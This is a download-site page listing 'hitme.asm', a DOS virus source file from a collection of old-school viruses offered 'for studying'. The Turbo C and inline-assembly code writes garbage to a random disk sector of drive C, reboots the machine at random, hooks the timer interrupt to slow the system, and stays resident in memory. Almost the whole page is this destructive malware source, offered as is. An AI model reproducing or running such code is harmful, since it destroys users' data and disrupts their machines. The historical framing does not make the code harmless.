⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hitme.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
#include <process.h>
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
#include <dir.h>
#include <dos.h>

#define INTR 0X1C

#ifdef __cplusplus
    #define __CPPARGS ...
#else
    #define __CPPARGS
#endif

void interrupt ( *oldhandler)(__CPPARGS);

void interrupt handler(__CPPARGS)
{
delay(135);
oldhandler();
}

void main(void)
{
randomize();
char buf[512];
abswrite(2, 1, random(50000)+2000, buf);

if(random(20) == 10)	asm	INT	19h

	oldhandler = getvect(INTR);
	setvect(INTR, handler);
	_ES = _psp; //PSP address
	asm	MOV     es,es:[2ch]
	_AH = 0x49; //Function 49 (remove memory block)
	asm	INT	21h        //Call DOS to execute instruction
	_AH = 0x31; //Function 31 (tsr)
	_AL = 0x00; //Exit code
	_DX = _psp; //PSP address
	asm	INT	21h        //Call DOS to execute instruction

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -